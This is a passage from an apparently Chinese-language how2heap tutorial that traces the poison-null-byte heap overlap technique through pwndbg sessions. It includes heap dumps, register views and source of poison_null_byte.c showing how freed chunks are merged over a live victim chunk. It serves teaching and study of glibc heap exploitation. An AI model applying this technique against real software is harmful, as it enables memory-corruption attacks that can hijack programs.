───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0 40091d main+583f 1 7ffff7a2d830 __libc_start_main+240
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x603220 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x603220 /* ' 2`' */
smallbins
empty
largebins
empty
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x110 Used None None
0x603110 0x0 0x110 Used None None
0x603220 0x0 0xf0 Freed 0x7ffff7dd1b78 0x7ffff7dd1b78
Corrupt ?! (size == 0) (0x603310)
pwndbg> x/10gx 0x603320-0x10
0x603310: 0x00000000000000f0 0x0000000000000000
0x603320: 0x0000000000000210 0x0000000000000110
0x603330: 0x0000000000000000 0x0000000000000000
0x603340: 0x0000000000000000 0x0000000000000000
0x603350: 0x0000000000000000 0x0000000000000000
pwndbg>
wndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x110 Used None None
0x603110 0x0 0x110 Used None None
0x603220 0x0 0xf0 Freed 0x7ffff7dd1b78 0x7ffff7dd1b78
Corrupt ?! (size == 0) (0x603310)
pwndbg> x/10gx 0x603320-0x10
0x603310: 0x00000000000000f0 0x0000000000000000
0x603320: 0x0000000000000210 0x0000000000000110
0x603330: 0x0000000000000000 0x0000000000000000
0x603340: 0x0000000000000000 0x0000000000000000
0x603350: 0x0000000000000000 0x0000000000000000
0x603320: 0x0000000000000210 0x0000000000000110 是切割后剩余chunk大小
0x603310: 0x00000000000000f0 0x0000000000000000 之前伪造的pre_size
3.3.5 设置断点第61行并走起
接下来再去申请一块小于0xf0的堆块,这样就会继续分割b剩下的那一块(我们把这次申请的堆块填充上’B’来区分)。
pwndbg> b 61
Breakpoint 5 at 0x400a18: file poison_null_byte.c, line 61.
pwndbg> c
Continuing.
申请一个 0x100 大小的 b1: 0x603120
现在我们 malloc 了 b1 他将会放在 b 的位置,这时候 c 的 prev_size 依然是: 0x210
但是我们之前写 0x200 那个地方已经改成了: f0
接下来 malloc 'b2', 作为 'victim' chunk.
b2 申请在: 0x603230
现在 b2 填充的内容是:
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
现在对 b1 和 c 进行 free 因为 c 的 prev_size 是 0x210,所以会把他俩给合并,但是这时候里面还包含 b2 呐.Breakpoint 5, main () at poison_null_byte.c:62
62 free(b1);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX 0x87RBX 0x0RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfffRDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI 0x2RSI 0x400f00 ◂— out 0x8e, alR8 0x87R9 0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887R10 0x1R11 0x246R12 0x4005e0 (_start) ◂— xor ebp, ebpR13 0x7fffffffe6a0 ◂— 0x1R14 0x0R15 0x0RBP 0x7fffffffe5c0 —▸ 0x400ac0 (__libc_csu_init) ◂— push r15RSP 0x7fffffffe570 ◂— 0x108f7ffe168RIP 0x400a18 (main+834) ◂— mov rax, qword ptr [rbp - 0x18]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x400a18 <main+834> mov rax, qword ptr [rbp - 0x18]0x400a1c <main+838> mov rdi, rax0x400a1f <main+841> call free@plt <0x400560>0x400a24 <main+846> mov rax, qword ptr [rbp - 0x38]0x400a28 <main+850> mov rdi, rax0x400a2b <main+853> call free@plt <0x400560>0x400a30 <main+858> mov rax, qword ptr [rip + 0x201629] <0x602060>0x400a37 <main+865> mov rcx, rax0x400a3a <main+868> mov edx, 0x4c0x400a3f <main+873> mov esi, 10x400a44 <main+878> mov edi, 0x400ff8
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/poison_null_byte.c57 58 memset(b2,'B',0x80);59 fprintf(stderr, "现在 b2 填充的内容是:\n%s\n",b2);60 fprintf(stderr, "现在对 b1 和 c 进行 free 因为 c 的 prev_size 是 0x210,所以会把他俩给合并,但是这时候里面还包含 b2 呐.\n");61 ► 62 free(b1);63 free(c);64 65 fprintf(stderr, "这时候我们申请一个 0x300 大小的 chunk 就可以覆盖着 b2 了\n");66 d = malloc(0x300);67 fprintf(stderr, "d 申请到了: %p,我们填充一下 d 为 \"D\"\n",d);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe570 ◂— 0x108f7ffe168
01:0008│ 0x7fffffffe578 —▸ 0x603010 ◂— 0x0
02:0010│ 0x7fffffffe580 —▸ 0x603120 —▸ 0x7ffff7dd1d68 (main_arena+584) —▸ 0x7ffff7dd1d58 (main_arena+568) —▸ 0x7ffff7dd1d48 (main_arena+552) ◂— ...
03:0018│ 0x7fffffffe588 —▸ 0x603330 ◂— 0x0
04:0020│ 0x7fffffffe590 —▸ 0x603440 ◂— 0x0
05:0028│ 0x7fffffffe598 —▸ 0x603118 ◂— 0x111
06:0030│ 0x7fffffffe5a0 —▸ 0x603320 ◂— 0x210
07:0038│ 0x7fffffffe5a8 —▸ 0x603120 —▸ 0x7ffff7dd1d68 (main_arena+584) —▸ 0x7ffff7dd1d58 (main_arena+568) —▸ 0x7ffff7dd1d48 (main_arena+552) ◂— ...
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0 400a18 main+834f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/poison_null_byte.c:61
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x110 Used None None
0x603110 0x0 0x110 Used None None
0x603220 0x0 0x90 Used None None
0x6032b0 0x0 0x60 Freed 0x7ffff7dd1b78 0x7ffff7dd1b78
Corrupt ?! (size == 0) (0x603310)
pwndbg> x/30gx 0x603220
0x603220: 0x0000000000000000 0x0000000000000091
0x603230: 0x4242424242424242 0x4242424242424242
0x603240: 0x4242424242424242 0x4242424242424242
0x603250: 0x4242424242424242 0x4242424242424242
0x603260: 0x4242424242424242 0x4242424242424242
0x603270: 0x4242424242424242 0x4242424242424242
0x603280: 0x4242424242424242 0x4242424242424242
0x603290: 0x4242424242424242 0x4242424242424242
0x6032a0: 0x4242424242424242 0x4242424242424242
0x6032b0: 0x0000000000000000 0x0000000000000061
0x6032c0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x6032d0: 0x0000000000000000 0x0000000000000000
0x6032e0: 0x0000000000000000 0x0000000000000000
0x6032f0: 0x0000000000000000 0x0000000000000000
0x603300: 0x0000000000000000 0x0000000000000000
pwndbg>
3.3.6 设置断点第64行并走起
接下来free掉b1和c,因为c的prev_size仍然是0x210,按照这个去找的话就可以找到原本的b,现在的b1的位置,那么他们俩会合并,但是中间还有个b2呢。这里how2heap有一个注释。
Typically b2 (the victim) will be a structure with valuable pointers that we want to control
通常b2(受害者)将是一个结构,其中包含我们要控制的有价值的指针
pwndbg> b 64
Breakpoint 6 at 0x400a30: file poison_null_byte.c, line 64.
pwndbg> c
Continuing.Breakpoint 6, main () at poison_null_byte.c:65
65 fprintf(stderr, "这时候我们申请一个 0x300 大小的 chunk 就可以覆盖着 b2 了\n");
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX 0x1RBX 0x0RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfffRDX 0x0RDI 0x7ffff7dd1b20 (main_arena) ◂— 0x100000000RSI 0x0R8 0x87R9 0x1R10 0x1R11 0x246R12 0x4005e0 (_start) ◂— xor ebp, ebpR13 0x7fffffffe6a0 ◂— 0x1R14 0x0R15 0x0RBP 0x7fffffffe5c0 —▸ 0x400ac0 (__libc_csu_init) ◂— push r15RSP 0x7fffffffe570 ◂— 0x108f7ffe168RIP 0x400a30 (main+858) ◂— mov rax, qword ptr [rip + 0x201629]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────0x400a1c <main+838> mov rdi, rax0x400a1f <main+841> call free@plt <0x400560>0x400a24 <main+846> mov rax, qword ptr [rbp - 0x38]0x400a28 <main+850> mov rdi, rax0x400a2b <main+853> call free@plt <0x400560>► 0x400a30 <main+858> mov rax, qword ptr [rip + 0x201629] <0x602060>0x400a37 <main+865> mov rcx, rax0x400a3a <main+868> mov edx, 0x4c0x400a3f <main+873> mov esi, 10x400a44 <main+878> mov edi, 0x400ff80x400a49 <main+883> call fwrite@plt <0x4005c0>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/poison_null_byte.c60 fprintf(stderr, "现在对 b1 和 c 进行 free 因为 c 的 prev_size 是 0x210,所以会把他俩给合并,但是这时候里面还包含 b2 呐.\n");61 62 free(b1);63 free(c);64 ► 65 fprintf(stderr, "这时候我们申请一个 0x300 大小的 chunk 就可以覆盖着 b2 了\n");66 d = malloc(0x300);67 fprintf(stderr, "d 申请到了: %p,我们填充一下 d 为 \"D\"\n",d);68 memset(d,'D',0x300);69 fprintf(stderr, "现在 b2 的内容就是:\n%s\n",b2);70 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe570 ◂— 0x108f7ffe168
01:0008│ 0x7fffffffe578 —▸ 0x603010 ◂— 0x0
02:0010│ 0x7fffffffe580 —▸ 0x603120 —▸ 0x6032b0 ◂— 0x0
03:0018│ 0x7fffffffe588 —▸ 0x603330 ◂— 0x0
04:0020│ 0x7fffffffe590 —▸ 0x603440 ◂— 0x0
05:0028│ 0x7fffffffe598 —▸ 0x603118 ◂— 0x321
06:0030│ 0x7fffffffe5a0 —▸ 0x603320 ◂— 0x210
07:0038│ 0x7fffffffe5a8 —▸ 0x603120 —▸ 0x6032b0 ◂— 0x0
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0 400a30 main+858f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/poison_null_byte.c:64
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x110 Used None None
0x603110 0x0 0x320 Freed 0x6032b0 0x7ffff7dd1b78
0x603430 0x320 0x110 Used None None
pwndbg> c
3.3.7 设置断点第70行并走起
那么接下来的事情就是申请一块大的chunk,然后随便改写b2的内容了。
pwndbg> b 70
Breakpoint 7 at 0x400ab1: file poison_null_byte.c, line 70.
pwndbg> c
Continuing.
这时候我们申请一个 0x300 大小的 chunk 就可以覆盖着 b2 了
d 申请到了: 0x603120,我们填充一下 d 为 "D"
现在 b2 的内容就是:
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDBreakpoint 7, main () at poison_null_byte.c:70
70 }LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX 0x0RBX 0x0RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfffRDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI 0x2RSI 0x7fffffffbee0 ◂— 0x6220a89ce5b08ee7R8 0x7ffff7feb700 ◂— 0x7ffff7feb700R9 0x20cR10 0x1f0R11 0x246R12 0x4005e0 (_start) ◂— xor ebp, ebpR13 0x7fffffffe6a0 ◂— 0x1R14 0x0R15 0x0RBP 0x7fffffffe5c0 —▸ 0x400ac0 (__libc_csu_init) ◂— push r15RSP 0x7fffffffe570 ◂— 0x108f7ffe168RIP 0x400ab1 (main+987) ◂— leave
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x400ab1 <main+987> leave 0x400ab2 <main+988> ret ↓0x7ffff7a2d830 <__libc_start_main+240> mov edi, eax0x7ffff7a2d832 <__libc_start_main+242> call exit <0x7ffff7a47030>0x7ffff7a2d837 <__libc_start_main+247> xor edx, edx0x7ffff7a2d839 <__libc_start_main+249> jmp __libc_start_main+57 <0x7ffff7a2d779>0x7ffff7a2d83e <__libc_start_main+254> mov rax, qword ptr [rip + 0x3a8ecb] <0x7ffff7dd6710>0x7ffff7a2d845 <__libc_start_main+261> ror rax, 0x110x7ffff7a2d849 <__libc_start_main+265> xor rax, qword ptr fs:[0x30]0x7ffff7a2d852 <__libc_start_main+274> call rax0x7ffff7a2d854 <__libc_start_main+276> mov rax, qword ptr [rip + 0x3a8ea5] <0x7ffff7dd6700>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/poison_null_byte.c65 fprintf(stderr, "这时候我们申请一个 0x300 大小的 chunk 就可以覆盖着 b2 了\n");66 d = malloc(0x300);67 fprintf(stderr, "d 申请到了: %p,我们填充一下 d 为 \"D\"\n",d);68 memset(d,'D',0x300);69 fprintf(stderr, "现在 b2 的内容就是:\n%s\n",b2);► 70 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe570 ◂— 0x108f7ffe168
01:0008│ 0x7fffffffe578 —▸ 0x603010 ◂— 0x0
02:0010│ 0x7fffffffe580 —▸ 0x603120 ◂— 0x4444444444444444 ('DDDDDDDD')
03:0018│ 0x7fffffffe588 —▸ 0x603330 ◂— 0x4444444444444444 ('DDDDDDDD')
04:0020│ 0x7fffffffe590 —▸ 0x603440 ◂— 0x0
05:0028│ 0x7fffffffe598 —▸ 0x603118 ◂— 0x321
06:0030│ 0x7fffffffe5a0 —▸ 0x603320 ◂— 0x4444444444444444 ('DDDDDDDD')
07:0038│ 0x7fffffffe5a8 —▸ 0x603120 ◂— 0x4444444444444444 ('DDDDDDDD')
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0 400ab1 main+987f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/poison_null_byte.c:70
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x110 Used None None
0x603110 0x0 0x320 Used None None
0x603430 0x320 0x110 Used None None
pwndbg> x/30gx 0x603110
0x603110: 0x0000000000000000 0x0000000000000321
0x603120: 0x4444444444444444 0x4444444444444444
0x603130: 0x4444444444444444 0x4444444444444444
0x603140: 0x4444444444444444 0x4444444444444444
0x603150: 0x4444444444444444 0x4444444444444444
0x603160: 0x4444444444444444 0x4444444444444444
0x603170: 0x4444444444444444 0x4444444444444444
0x603180: 0x4444444444444444 0x4444444444444444
0x603190: 0x4444444444444444 0x4444444444444444
0x6031a0: 0x4444444444444444 0x4444444444444444
0x6031b0: 0x4444444444444444 0x4444444444444444
0x6031c0: 0x4444444444444444 0x4444444444444444
0x6031d0: 0x4444444444444444 0x4444444444444444
0x6031e0: 0x4444444444444444 0x4444444444444444
0x6031f0: 0x4444444444444444 0x4444444444444444
pwndbg>
4.参考资料
【PWN】how2heap | 狼组安全团队公开知识库